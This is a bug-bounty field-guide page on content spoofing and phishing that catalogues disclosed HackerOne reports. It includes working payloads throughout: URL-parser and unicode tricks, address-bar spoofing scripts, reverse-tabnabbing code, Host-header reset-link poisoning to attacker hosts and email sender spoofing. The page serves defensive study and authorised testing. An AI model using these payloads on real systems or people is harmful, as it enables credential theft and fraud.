⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Content Spoofing & Phishing
Vulnerabilities

Content Spoofing & Phishing

Specimens 74No direct PortSwigger lab

§Basic information

Spoofing is making an attacker-controlled thing look like a trusted thing — a domain, a sender, a link, an app name, the browser address bar, a download source — so a human (or an automated trust decision) acts on it. Phishing is the delivery: turning that spoof into credential theft, malware install, or fraud. Unlike injection or memory corruption there is no code to run in the target origin; the bug lives in the gap between what a system checks and what a human sees.

Nearly every spoof is a differential: two components disagree about the same value. A URL parser reads a hostname one way and the browser navigates another; a filter checks the raw bytes while the human reads the rendered glyphs; a mail gateway keys a ticket on a From header nobody authenticated. Find the two components, feed them a value they read differently, and the trusted label ends up attached to attacker content.

§Methodology

  1. Enumerate trust surfaces. For every place the product renders identity or provenance — links, sender addresses, app/display names, the address bar, download/permission prompts, error-page text — note what string is shown as trustworthy.
  2. Find the two components. Identify the thing that checks (a URL parser, a uniqueness filter, an SPF/DMARC engine, a scheme allowlist) and the thing that acts/renders (the browser, the glyph renderer, the mailbox, the click).
  3. Feed a differential value. Send hostiles that the checker and the actor read differently: %60/@//\/backslash in URLs, BIDI/invisible unicode in text, a spoofed From at an unenforced domain, a disallowed scheme past a client-side check.
  4. Confirm the divergence. The rendered/acted result shows the trusted label while the real destination/host/sender is yours. Screenshot the trusted string plus the attacker origin.
  5. Attach the trusted-context action. The spoof itself is not the finding — the credential prompt, the token-bearing reset link, the ticket created "as" the victim, the .exe that reads .mp3 is. Weaponize into that action.
  6. For email surfaces, fingerprint first. Check SPF/DKIM/DMARC on the apex and staff subdomains before touching the app — a p=none domain is spoofable with a fake mailer alone.
▸ TIP
Spoofing bugs die when one component owns the decision. Before spending time, confirm the checker and the actor are genuinely different code paths — if the same parser both decides trust and navigates, there is no gap to split.

§Spoofing surfaces

Find which surface you're on, then split its checker from its actor.

URL parser vs browser resolver confusion

Any place the app parses a URL to make a trust decision (is this host trusted / internal / same-origin?) while the browser resolves the same string to a different host. Feed backtick, @, mixed slashes, and backslash and diff how each side reads hostname.

http://TARGET%60x.COLLAB/ # url.parse host=TARGET ; WHATWG host=TARGET`x.COLLAB (#255991) /\COLLAB/path # sanitizer=relative ; browser=absolute cross-origin (#306414) https:\\//COLLAB/ # backslash defeats scheme parser -> homograph host (#59375) http://TARGET@COLLAB/ # userinfo: human reads TARGET, real host is COLLAB (#268984)

Rich-text, markdown, and chat renderers let the display text be set independently of the real href. A URL-looking display string can point anywhere, and mobile/desktop clients show no status-bar hover to reveal it. Pair with a homograph/IDN domain to defeat even a careful reader.

Slack markup: <http://COLLAB/login|http://TARGET.com> # shows TARGET, navigates COLLAB (#481472) Markdown link: [http://TARGET.com](https://xn--trget-COLLAB.com) # IDN/punycode look-alike (#29491, #59375)

BIDI / RTL & invisible unicode

Any text surface that renders raw unicode is a spoofing sink. A bidirectional override (U+202E) reverses only the display order, not the bytes — so an extension/URL filter checking the real string passes while the human sees a benign name. Invisible spaces clone identifiers past a uniqueness filter. Test the full invisible set, not just U+200B.

# Send the RAW codepoints (U+202E / U+180E) inline; the display reverses/hides, the real bytes stay song<U+202E>3pm.exe # renders "songexe.mp3" (#196222, #298) Twitter Web App<U+180E> # renders identical to the trusted app name (#785243)

Browser trust-UI spoofing (address bar / download prompt)

On mobile the address bar is the only trust anchor. Race the bar update against content load: repeatedly interrupt navigation so the bar keeps a trusted URL (with lock icon) while attacker content stays rendered. Separately, download/permission prompts that derive "source" from the referrer instead of the real content host let malware appear to come from a trusted domain.

// Address-bar spoof: bar shows TARGET + lock, body stays attacker-controlled (#175958) setInterval(function () { location = 'https://TARGET.com'; }, 10);

Email authentication (SPF / DKIM / DMARC)

Before any app testing, fingerprint the mail posture. A missing or p=none DMARC, a softfail SPF (~all), or an unclaimed include on a shared ESP means you can send mail as the domain with a fake mailer. Check staff subdomains too — the apex is often hardened while staff.TARGET.com is not.

dig +short TXT TARGET.com | grep -i spf # ~all (softfail) or missing = spoofable dig +short TXT _dmarc.TARGET.com # p=none / absent = delivered to inbox dig +short TXT _dmarc.staff.TARGET.com # staff/sub-domains are frequently unenforced (#575, #117097)

"Send from our trusted domain" features

Share-via-email, invite, welcome, notify, and send-to-friend flows that ship attacker-controlled text/links from a verified sender. You inherit the target domain's deliverability and DKIM trust, bypassing spam heuristics. Test whether recipient and body are arbitrary, whether the message can be re-triggered unbounded, and whether sandbox/user content is labelled.

POST /api-umbrella/v1/users.json?api_key=… HTTP/1.1 Host: TARGET.com user[first_name]=Visit this URL to re-verify your account&user[email]=VICTIM& options[example_api_url]=https://COLLAB&options[send_welcome_email]=true # VICTIM receives a legitimately DKIM-signed mail from noreply@TARGET with attacker content (#360171)

Email-to-ticket / From-header injection

Helpdesks (Freshdesk, Zendesk) and any "email in → object created" pipeline that keys the created object on the unauthenticated SMTP From. Spoof the victim's address to a fake mailer and a ticket appears authored "as" them; agents may then act on it. When a fix filters the branded alias, retry the vendor wildcard.

From: VICTIM@example.com # spoofed via emkei.cz To: support@TARGET.freshdesk.com # wildcard survives after branded alias is filtered (#2109382) Subject: Account deletion request # a ticket is created "as" the victim -> impersonation / social engineering (#2001913, #2079502)

Native prompt spoofing (401 Basic-Auth / scheme dialog)

An unproxied remote-subresource param (image_src, url) fetched cross-origin, pointed at a host returning 401 WWW-Authenticate: Basic, raises the browser's native credential dialog attributed to the trusted parent origin. The victim types creds into what looks like a first-party prompt.

GET /player?image_src=https://COLLAB/admin HTTP/1.1 Host: TARGET.com # COLLAB/admin -> HTTP/1.1 401 Unauthorized / WWW-Authenticate: Basic realm="login" # victim sees a native login dialog "from" TARGET; creds + IP/UA leak to COLLAB (#221328)

Reflected content / text injection (error & 404 pages)

Unfiltered app/dir/message/path values echoed verbatim into page text (no HTML needed) let an attacker plant a convincing message on a trusted domain — "your session expired, call this number" on a real TARGET.com/404. Low-impact alone, but it borrows the domain's authority for the phish.

GET /nonexistent?message=Your+account+is+locked.+Call+1-800-COLLAB+to+restore HTTP/1.1 Host: TARGET.com # value reflected into the 404 body as trusted-looking text (#106348, #106350, #145463, #1245051)

§Bypasses

Filter / controlBypassSeen in
Trust decision on a parsed host%60 backtick: url.parse host=TARGET, WHATWG host=TARGETx.COLLAB`#255991
Anti-tabnabbing rel=noopener/\host read relative by sanitizer, absolute by browser — keeps window.opener#306414
Scheme/host URL parserbackslash https:\\// defeats the parser → IDN homograph host renders#59375
Homograph external-link interstitialsecondary view (raw/preview) skips the warning code path#59375
Invisible-char uniqueness filterfilter blocks U+200B but not U+180E (Mongolian vowel separator)#785243
BIDI display filterU+202E reverses only display, not bytes → .exe reads .mp3#196222
Client-side scheme allowlistedit the raw API request; tel:/custom schemes accepted server-side#500348
Fixed branded support aliasroute past it via the vendor wildcard support@<t>.freshdesk.com#2109382
DMARC p=rejecta forwarder rewrites From and re-signs with its own passing DKIM/SPF#2109320
SPF hardfail on apexa staff subdomain or unclaimed shared-ESP include is still open#575, #117097
Download-source displayprompt shows the referrer, not the real content host#2888770
▲ WARNING
Spoofing filters are almost always incomplete blocklists, and the interesting bug is the regression. When a domain fixes forward-slash homographs, test backslash (#59375); when it blocks U+200B, test U+180E (#785243); when it filters a branded alias, test the wildcard (#2109382). Re-test every prior fix's neighbours.

§Escalation & impact

Spoofing is usually the delivery stage of a larger chain — the trusted label is the primer, not the payload.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 74 in this class.

Real-world example

Download-origin spoofing: browser shows Referer not real source

◆ High
Specimen #2888770 · brave · awarded · 86 votes · resolved
Program braveSurface desktopTag account-takeover

Root cause

The download-confirmation UI derives the displayed 'source' from the referring page URL instead of the URL the file actually came from, so an attacker page can make a malicious download appear to originate from a trusted domain.

Method

  1. Host an attacker page that triggers a download
  2. Cause the download to be attributed to a trusted referrer while the file bytes come from attacker infrastructure
  3. Download prompt shows the trusted domain (e.g. google.com) as the source
Victim visits https://ybt01.github.io/upload/google.html# Clicks 'download' -> Brave download alert displays https://google.com (referrer) as origin instead of the real host

Insight — On any download/security prompt, verify the shown 'source/origin' is the actual content host, not the referrer or the top-level page. Referrer-derived provenance is a spoofing sink that helps malware appear trusted.

Real-world example

Password-reset link/content poisoning via request headers

◆ High
Specimen #791293 · endless_group · none · 30 votes · resolved
Program endless_groupSurface webChain header injection -> poisoned reset email -> token thefTag account-takeover

Root cause

The password-reset email builds the reset link from the request Host header (and reflects other headers like X-Forwarded-For), so an attacker triggering a victim's reset can control the domain/content of the link in the trusted email and harvest the token or phish the user.

Method

  1. Intercept the password-reset request
  2. Change the Host header (or inject X-Forwarded-For text) to an attacker-controlled value
  3. Victim receives the email; clicking the poisoned link sends the reset token to the attacker's host
POST /reset_password Host: attacker.evil.com # reset email now links to https://attacker.evil.com/...token=... # variant (244677): X-Forwarded-For reflected verbatim into email body X-Forwarded-For: For precaution, send your new password to attacker@evil.com or visit www.evil.com

Insight — Password-reset emails that derive the link/base URL from client-controlled headers (Host, X-Forwarded-Host, X-Forwarded-For) are a classic ATO/phishing primitive - test header rewriting on every reset flow and watch the delivered email.

Real-world example

Mailsploit: From-header sender spoofing via encoded-word/null-byte

◆ High
Specimen #295339 · ibb · none · 29 votes · resolved
Program ibbSurface otherTag account-takeover

Root cause

Email clients decode RFC 2047 encoded-word sequences (and mishandle null bytes/control chars) in the From header when rendering the sender, but MTAs treat the header as opaque ASCII. The client displays an attacker-chosen sender address that the mail servers never see, so DMARC/DKIM/SPF and spam filters are not triggered.

Method

  1. Craft a From header whose displayed address is built from RFC2047 encoded-words containing the spoofed address plus a null byte/control char to truncate the real one
  2. Send through any MTA (server sees benign header, passes auth)
  3. Vulnerable client decodes and shows the spoofed sender to the recipient
From: =?utf-8?b?<base64 of: spoofed@trusted.com\x00>?=@attacker.com # client renders 'spoofed@trusted.com'; MTA sees attacker.com and passes SPF/DKIM/DMARC

Insight — Sender identity shown in a mail client can diverge from the SMTP-authenticated address whenever the client decodes encoded-words or mishandles null/control chars in From. Test clients by sending encoded-word/null-byte From headers; MTA-transparent spoofing bypasses DMARC entirely. Some clients also XSS on the decoded value.

Real-world example

Host spoofing via legacy url.parse vs WHATWG URL parser confusion

◆ High
Specimen #255991 · brave · 200 · 21 votes · resolved
Program braveSurface desktopChain Parser confusion -> security-setting/whitelist bypass (e.Tag cors

Root cause

Brave's renderer resolves http://brave.com%60x.evil.com/ to host evil.com (WHATWG/Chrome parser), while the Node layer applying security decisions uses legacy url.parse which reads host as brave.com - so shield/whitelist settings for brave.com are applied to an attacker origin.

Method

  1. Set a security setting for a trusted host (toggle Brave shield for brave.com)
  2. Navigate to http://brave.com%60x.attacker.com/
  3. Renderer loads attacker.com but the security layer keys the decision on brave.com
http://brave.com%60x.code-fu.org/ // url.parse -> hostname: 'brave.com' // new URL() -> hostname: 'brave.com`x.code-fu.org'

Insight — Two different URL parsers in one trust decision = spoofing/SSRF-filter bypass. When one component decides 'is this host trusted/internal' and another actually fetches, feed URLs with backtick, @, backslash, %-encoding, or extra hosts and diff how each parser reads hostname. Classic in Node apps mixing url.parse and WHATWG URL.

Real-world example

Email relay/forwarder rewrites From, invalidating DKIM/ARC to bypass DMARC

◆ Medium
Specimen #2109320 · mozilla · 1000 · 42 votes · resolved
Program mozillaSurface otherTag account-takeover

Root cause

A forwarding service (Firefox Relay) recomposes the whole email with its own template and rewrites the From header to @relay.firefox.com. This strips/invalidates the original DKIM/ARC signatures, and the relay's high-reputation IP/domain lets a spoofed message that would normally be blocked (even DMARC=reject) land in the inbox.

Method

  1. Pick a spoof target domain (test none/quarantine/reject DMARC policies)
  2. Craft an email with a forged From header for that domain
  3. Send it to a victim's Relay alias address
  4. Relay recomposes/forwards it from @relay.firefox.com; DKIM/ARC no longer bind original From, so it reaches inbox without spoofing warnings
# Send spoofed 'From: security@nicehash.com' (DMARC=reject) to victim's Relay alias # Relay re-sends from @relay.firefox.com -> delivered to inbox, no DMARC drop

Insight — Any mail forwarder/relay/notification pipe that rewrites the From header and re-signs with its own trusted domain becomes a DMARC-laundering channel. Test forwarding services by feeding them spoofed-From mail and checking if it reaches the inbox re-signed. Fixes: validate inbound DMARC before forwarding, ARC-seal, and don't rewrite From.

Real-world example

Arbitrary sender in 'share/send-to-friend' feature

◆ Medium
Specimen #1083923 · openmage · none · 38 votes · resolved
Program openmageSurface web

Root cause

The send-to-friend/share-product email feature lets the user set the From/sender address to an arbitrary value, so mail originates from a domain the attacker doesn't own, enabling convincing phishing from the trusted store's mail infrastructure.

Method

  1. Open the share-product endpoint (/sendfriend/product/send/id/<id>)
  2. Set the Sender email to an arbitrary address (not yours)
  3. Enter the victim recipient and send
  4. Victim receives attacker-controlled content from a spoofed sender via the trusted store
POST /sendfriend/product/send/id/430 sender_email=ceo@victimbrand.com&recipient=victim@target.com

Insight — Any 'email this to a friend / share / invite / refer' feature is a phishing vector if the From, display name, or message body is user-controlled and sent from the app's trusted SMTP. Test sender spoofing and body/link injection. Fix pattern: force From to a fixed app address.

Real-world example

Account impersonation via missing username normalization (whitespace)

◆ Medium
Specimen #3413764 · revive_adserver · none · 26 votes · resolved
Program revive_adserverSurface web

Root cause

Usernames are stored without normalization/trim, so leading/trailing whitespace ('admin' vs ' admin') is accepted and rendered visually identical in the UI, enabling impersonation and audit-log confusion.

Method

  1. As a user-admin, add a user with a username padded with leading/trailing spaces (e.g. ' admin')
  2. Save; in the user list the account is visually indistinguishable from the real admin
  3. Use it for social engineering / to muddy log attribution
username: " admin" (leading/trailing space; also try unicode homoglyphs and case variants)

Insight — Test account systems for missing username normalization: leading/trailing whitespace, unicode homoglyphs, zero-width chars, and case folding. Missing normalization enables visually-identical impersonation and log confusion even without direct privilege gain.

Real-world example

HTML injection in transactional email via profile field

◆ Medium
Specimen #1600720 · acronis · none · 25 votes · resolved
Program acronisSurface web

Root cause

The First Name field from registration is reflected unsanitized into the HTML body of the welcome email, allowing injected tags (links, images) rendered in the recipient's inbox.

Method

  1. Register with the victim's email
  2. Set First Name to an HTML payload with an attacker link
  3. Victim receives the trial email containing the injected link/image
First Name: "/><img src="x"><a href="https://evil.com">login</a>

Insight — User-controlled profile/registration fields that appear in outbound emails are HTML-injection sinks. Because the email is sent from the vendor's own domain, injected phishing links look legitimate. Test name/company/address fields for reflection into transactional mail.

Real-world example

Protocol-handler prompt attributed to a trusted origin via window.open

◆ Medium
Specimen #374969 · brave · awarded · 25 votes · resolved
Program braveSurface desktopChain combined with report #369185/#369218 to strengthen a phishin

Root cause

When a page opens a child window (window.open) to a trusted site and then changes that window's location to a custom-protocol URL, the browser attributes the external-app-launch prompt to the previously loaded trusted origin rather than the attacker.

Method

  1. From attacker page, window.open('https://google.com')
  2. After a delay, set the opened window's location to a protocol handler (ssh://evil.com)
  3. The 'open external application?' prompt appears as coming from google.com
w = window.open('https://google.com'); setTimeout(()=>{ w.location.replace('ssh://evil.com'); }, 1000);

Insight — Origin attribution for protocol-handler / external-app prompts can be spoofed via window.open followed by a delayed cross-navigation. Useful as a trust-boosting step in phishing/clickjacking chains.

Real-world example

RTLO (U+202E) unicode to disguise malicious file/link extension

◆ Medium
Specimen #196222 · snapchat · awarded · 18 votes · resolved
Program snapchatSurface mobile-androidChain RTLO display spoof → victim clicks/downloads a .exe believinTag account-takeover

Root cause

Chat/message rendering does not strip bidirectional-control unicode (U+202E Right-To-Left Override), so an attacker reverses the visual order of a filename/link tail, making a .exe display as .mp3 (or any benign extension) to the victim.

Method

  1. Insert a U+202E character before a crafted suffix in the displayed link/filename
  2. Place the real dangerous extension so that, when reversed, it visually reads as a benign one
  3. Send in chat; victim sees e.g. 'song.mp3' but the real target ends in .exe
example.com/song[U+202E]3pm.exe -> renders as example.com/songexe.mp3

Insight — Any text surface that renders raw unicode is a spoofing sink — test bidi overrides (U+202E/U+202B) and homoglyphs to disguise link paths, filenames, sender names, and OAuth app names. Strip or escape bidi-control characters on display.

Real-world example

Phishing email from trusted noreply@ via user-controlled signup fields

◆ Medium
Specimen #360171 · gsa_bbp · awarded · 15 votes · resolved
Program gsa_bbpSurface apiChain unbounded re-signup + templated user fields -> targeted pTag account-takeover

Root cause

The api.data.gov signup welcome email embeds attacker-controlled fields (first_name, example_api_url, contact_url) verbatim, and the same email can be re-triggered unlimited times, letting an attacker send arbitrary messages/links from noreply@api.data.gov.

Method

  1. Submit the signup form and intercept the POST to /api-umbrella/v1/users.json
  2. Set user[first_name] to an attacker sentence and options[example_api_url]/contact_url to attacker URLs
  3. Set user[email] to the victim; send
  4. Victim receives a legitimately-signed email from noreply@api.data.gov containing attacker content
POST /api-umbrella/v1/users.json?api_key=... user[first_name]=This is from the government, visit the following URL to register.&user[email]=victim@example.com&options[example_api_url]=https://attacker.tld&options[contact_url]=https://attacker.tld&options[send_welcome_email]=true

Insight — Transactional email templates that interpolate user-supplied name/URL fields are a phishing primitive: you get deliverability and trust of the victim's own domain. Also test that the same address can be signed up repeatedly (no dedupe = mail-bomb/phish amplifier).

Real-world example

Browser address-bar URL spoofing via window.open + document.write

◆ Medium
Specimen #369086 · brave · awarded · 14 votes · resolved
Program braveSurface desktopChain URL spoof -> credential phishing under trusted origin appTag account-takeover

Root cause

Opening a URL whose response is slow/empty (e.g. google.com/csi) leaves the address bar showing that URL while the document is effectively about:blank; the opener then document.write()s arbitrary content, so attacker HTML/JS runs under a spoofed, trusted-looking URL (address bar even stays put during alert()).

Method

  1. From attacker page, on user gesture call window.open(target_trusted_url)
  2. After a short timeout, write attacker content into the new window's document
  3. Address bar keeps showing the trusted URL while attacker content/JS executes
<script> window.onclick = function(){ x = window.open('https://www.google.com/csi'); setTimeout(function(){ x.document.write(`spoofed content <button onclick="alert('JS runs here')">click</button>`); },100); }; </script>

Insight — URL-spoofing bugs hinge on a race between navigation commit and document replacement. Test window.open to endpoints that return slowly/blank, then document.write; if the address bar retains the target URL, you have credible phishing. Report with a concrete gesture-triggered PoC.

Real-world example

SPF softfail (~all) enables sender spoofing

◆ Medium
Specimen #457829 · mycrypto · none · 9 votes · resolved
Program mycryptoSurface other

Root cause

SPF record ends in ~all (softfail) instead of -all (hardfail), so mail from unauthorized senders is accepted/quarantined rather than rejected, allowing spoofed mail from the domain.

Method

  1. dig TXT domain to read the SPF record
  2. If it ends in ~all (or ?all / no SPF), send mail with From: support@domain via any relay
  3. Message passes/lands, appearing to originate from the trusted domain
v=spf1 include:_spf.google.com ~all # weak -> should be -all <?php mail('victim@example.com','Password Change','Reset here: http://EVIL','From: support@TARGET');

Insight — Always check SPF (~all vs -all), plus DMARC policy (p=none is effectively spoofable) and DKIM. Softfail + p=none is a reliable phishing primitive; escalate impact by showing a delivered spoofed mail, not just the record.

Real-world example

Address-bar URL spoof via bogus protocol handler navigation

◆ Medium
Specimen #373721 · brave · awarded · 9 votes · resolved
Program braveSurface desktopTag account-takeover

Root cause

Navigating window.open to an unknown/bogus protocol handler (http.://google.com) leaves the spoofed URL in the address bar instead of resetting to about:blank, while the opened document remains writable by the opener, so an attacker renders arbitrary content under a trusted URL.

Method

  1. From attacker page, window.open('http.://TRUSTED.com') (note the extra dot -> unknown scheme)
  2. Browser keeps 'http.://TRUSTED.com' visible in the address bar rather than clearing it
  3. Use the returned window handle to document.write attacker content -> page looks like it is TRUSTED.com
x = window.open('http.://google.com') setTimeout(() => { x.document.write(`Hello Google.com! <button onclick="alert('JS on this page')">Click</button>`) }, 1000)

Insight — To test browser/embedded-webview URL spoofing, open unusual/unknown scheme URLs (scheme with trailing dot, unregistered protocol handlers) and check whether the address bar is reset to about:blank and whether the opener can still write into the document.

Real-world example

Email spoofing via unclaimed SPF include (shared ESP)

◆ Medium
Specimen #117097 · gratipay · USD 10 · 8 votes · resolved
Program gratipaySurface webChain dangling SPF include -> spoofed phishing mail from the reTag subdomain-takeoverTag spoofing-phishing

Root cause

The domain's SPF record includes a shared email provider (spf.mandrillapp.com) that the org no longer uses/never claimed; because Mandrill authorises mail for any domain whose SPF points at it, an attacker with their own Mandrill account can send SPF-passing mail as the domain.

Method

  1. Read the target SPF record and note include: entries for shared ESPs (Mandrill, SendGrid, Freshdesk, etc.)
  2. Confirm the domain is not actually configured/claimed on that ESP
  3. Register your own account on that ESP
  4. Send mail from the ESP with the target domain as From - it passes SPF
v=spf1 include:email.freshdesk.com include:spf.mandrillapp.com include:_spf.google.com -all # attacker sends from @TARGET via their own Mandrill tenant -> SPF pass

Insight — Audit SPF include: entries for shared ESPs the org has abandoned or never verified - these are 'dangling includes' enabling authenticated-looking spoofing. Same class as subdomain takeover but for email trust. Remove unused includes or complete domain verification/DKIM.

Real-world example

Reverse tabnabbing via user link without rel=noopener

◆ Medium
Specimen #109161 · gratipay · awarded · 8 votes · resolved
Program gratipaySurface webChain stored link -> reverse tabnabbing -> credential phishiTag account-takeover

Root cause

User-controlled profile links are rendered as outbound anchors that open a new context while leaving window.opener accessible (no rel=noopener); the linked page can rewrite the original tab to a phishing clone.

Method

  1. Put an attacker link in a user-controlled profile field (statement)
  2. Victim clicks it; the new tab retains window.opener to the original
  3. From the attacker page set window.opener.location to a phishing copy of the site
  4. Victim returns to the original tab and re-enters credentials on the fake page
<a href="http://attacker.example">link</a> // attacker page: if (window.opener) window.opener.location = 'https://phish.example/login'; // fix: rel="noopener noreferrer"

Insight — Any place users can inject links (profiles, comments, markdown) that render with target=_blank needs rel="noopener noreferrer". Test by hosting a page that does window.opener.location and clicking through. Note: rel=nofollow (the reporter's suggested fix) does NOT mitigate this - noopener does.

Real-world example

Email spoofing via shared-ESP SPF include

◆ Medium
Specimen #56742 · security · awarded · 6 votes · resolved
Program securitySurface other

Root cause

The domain's SPF record includes a shared email provider (spf.mandrillapp.com) whose sending IPs are shared across all customers; because the sender's own subaccount wasn't locked down, any Mandrill customer could send SPF-passing mail as the domain.

Method

  1. dig the target's SPF TXT record and list include: entries
  2. Identify shared ESPs (mandrill/sendgrid/etc.)
  3. Sign up for that ESP and send mail with From: anything@target.com
  4. Mail passes SPF because it originates from the shared provider's authorized IPs
dig txt hackerone.com ; v=spf1 include:_spf.google.com include:sendgrid.net include:spf.mandrillapp.com ~all

Insight — An SPF include of a shared/multi-tenant ESP is a spoofing vector unless the domain also completes that ESP's domain-lock/verification. Enumerate include: entries and test each shared provider.

Real-world example

Reverse tabnabbing via target=_blank window.opener

◆ Medium
Specimen #124889 · security · awarded · 6 votes · resolved
Program securitySurface web

Root cause

User-supplied links open with target=_blank but no rel=noopener, so the destination page retains a reference to window.opener and can navigate the original tab (opener.location) to a look-alike phishing page while the user is on the new tab.

Method

  1. Post a link (in a report/comment/profile) pointing to attacker page
  2. Attacker page runs opener.location='https://phish/'
  3. Victim clicks the link; the still-open trusted tab is silently rewritten to a credential-harvesting clone
<!-- attacker landing page --> <script>if(window.opener)window.opener.location='https://phish.example/login';</script>

Insight — Anywhere the app renders user-controlled links that open in a new tab, check for missing rel="noopener"/noreferrer. The opener reference lets the child tab redirect the parent - devastating for trusted contexts (dashboards, report pages) because the URL bar of the ORIGINAL tab changes to something the victim already trusted.

Real-world example

Reverse tabnabbing via markup that emits target=_blank without rel=noopener

◆ Medium
Specimen #213114 · gitlab · none · 5 votes · resolved
Program gitlabSurface web

Root cause

A markup renderer (AsciiDoc/Markdown) converts link syntax into <a target="_blank"> without rel="noopener noreferrer". The opened page inherits a live window.opener reference and can navigate the original tab to a phishing page.

Method

  1. Find a renderer that supports opening links in a new tab (AsciiDoc caret syntax, Markdown extensions, WYSIWYG editors).
  2. Post a link that renders as target=_blank; verify the output has no rel=noopener.
  3. Host a page that runs window.opener.location = 'https://phish.example/login' on load.
  4. Victim clicks the link; the original trusted tab is silently redirected to the attacker's look-alike login.
AsciiDoc: http://attacker.example[Click here^] renders as: <a href="http://attacker.example" target="_blank">Click here</a> Attacker page: <script>if(window.opener)window.opener.location='https://phish.example/login';</script>

Insight — Any user-content renderer that supports 'open in new tab' is a reverse-tabnabbing candidate — check whether emitted target=_blank links carry rel=noopener. If not, you can silently rewrite the opener tab for phishing. Test AsciiDoc/Markdown, comment systems, and WYSIWYG editors.

Real-world example

User impersonation via client-controlled avatar/alias message params

◆ Medium
Specimen #1031525 · rocket_chat · none · 5 votes · resolved
Program rocket_chatSurface apiTag webhook

Root cause

The sendMessage API trusts client-supplied avatar and alias fields on outgoing messages, letting any user with post permission render a message that visually appears to come from another user (custom name + custom avatar), enabling social-engineering attacks.

Method

  1. Locate a message/notification API that accepts display-name or avatar overrides (chat bots, webhooks, integrations).
  2. Send a message with avatar and alias set to impersonate a trusted user/role.
  3. Use realistic alias + avatar path to spoof e.g. an executive or admin in a channel.
Meteor.call("sendMessage", { rid: "<ROOM ID>", msg: "@securityguard please escort the two technicians to the server room", avatar: "/avatar/cto", alias: "Your CTO" }, (...args) => console.log(...args));

Insight — Message/notification APIs that expose alias/avatar/display-name overrides (originally meant for bots/integrations) are impersonation primitives when reachable by normal users. Check whether the server strips or visually flags client-set sender identity; if not, you can spoof any user for phishing/social engineering.

Real-world example

Email-verification link: unbound nonce + unvalidated reflected param -> content-spoofing phishing

◆ Medium
Specimen #117187 · gratipay · awarded · 5 votes · resolved
Program gratipaySurface web

Root cause

The verify.html endpoint reflects the 'email' query param into the on-page/email message without validation, and its nonce is accepted for ANY username, so an attacker crafts a link (any target user) whose 'email' field is arbitrary phishing text shown as an official Gratipay message.

Method

  1. Add your own email to get a valid verify link + nonce
  2. Replace the email param with attacker phishing text and swap in any victim username
  3. Send the crafted official-domain link to victims; the injected text renders as a trusted site message
https://gratipay.com/~VICTIM/emails/verify.html?email=You%20won!%20Send%2010%20USD%20to%20paypal:evil@x.com&nonce=ANY_VALID_NONCE

Insight — Verification/confirmation endpoints that (a) reflect an attacker-controlled param into the message and (b) use a nonce not bound to the specific user/email are content-spoofing/phishing gold - the payload rides on the trusted domain. Test whether the nonce is scoped to the exact user+email or globally reusable. Related email-verify logic flaw at the same endpoint: resend-verification silently associating an arbitrary look-alike email (#156542).

Real-world example

Missing SPF/DMARC enables email spoofing

◆ Medium
Specimen #117159 · gratipay · awarded · 4 votes · resolved
Program gratipaySurface webTag account-takeover

Root cause

Domains (aspen.io, grtp.co) had no valid SPF (and no DMARC) records, allowing an attacker to send spoofed email as those domains.

Method

  1. Query TXT/SPF and DMARC records for the target domain
  2. Confirm no valid SPF/DMARC policy exists
  3. Send/relay spoofed mail claiming the domain as sender for phishing
dig TXT target.tld # no v=spf1 record dig TXT _dmarc.target.tld # no DMARC policy

Insight — Always check SPF/DKIM/DMARC on in-scope mail domains; absent/permissive policies enable spoofed phishing from the brand's own domain.

Real-world example

Unauthenticated email-send endpoint + HTML injection -> phishing

◆ Medium
Specimen #139402 · informatica · none · 4 votes · resolved
Program informaticaSurface web

Root cause

A share/preview endpoint (EmailExtended.aspx) sends email with attacker-controlled sender, recipient, subject and body when the docid is invalid, and the body permits <a>/<img> HTML injection, enabling spoofed credential-phishing from a trusted domain.

Method

  1. POST to the email endpoint with an invalid docid to unlock all sender/recipient/body fields
  2. Set From to a trusted address and inject an <a> phishing link in the body
  3. Email is delivered from the target's own infrastructure
POST /_layouts/infa_kb/preview/EmailExtended.aspx?docid=test ...&TextBox4=admin@informatica.com&TextBox5=A convincing subject&TextBox6=Please visit <a href=http://evil.example>Our login page</a> and enter your credentials&Button1=Submit

Insight — Preview/share/'email this' features that let you set sender + body are open relays for branded phishing. Try an invalid resource id to unlock hidden fields, and test the body for HTML injection to embed links/images. Delivery from the real domain massively raises phish credibility.

Real-world example

Email spoofing via missing DKIM / weak SPF

◆ Medium
Specimen #84287 · gratipay · awarded · 2 votes · resolved
Program gratipaySurface web

Root cause

The domain had SPF but no DKIM record (and, in the merged cases, SPF using soft ~all/?all instead of -all), allowing forged mail that appears to originate from the domain and passes recipient checks — enabling convincing phishing.

Method

  1. Query the domain's SPF and DKIM records
  2. If DKIM absent, or SPF ends in ~all/?all, forged mail is deliverable as the domain
  3. Send a spoofed From:<security@domain> phishing mail to demonstrate
nslookup -querytype=TXT google._domainkey.TARGET 8.8.8.8 # 'No DKIM record' dig TXT TARGET | grep spf1 # look for ~all or ?all instead of -all # spoof: mail() with From: security@TARGET

Insight — Email-auth findings are only worth reporting with a spoofing PoC and impact (phishing/password-reset lure). Check the trio: SPF must end -all (hardfail), DKIM must exist and validate, and DMARC must be p=reject/quarantine — a gap in any one enables spoofing.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 74 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.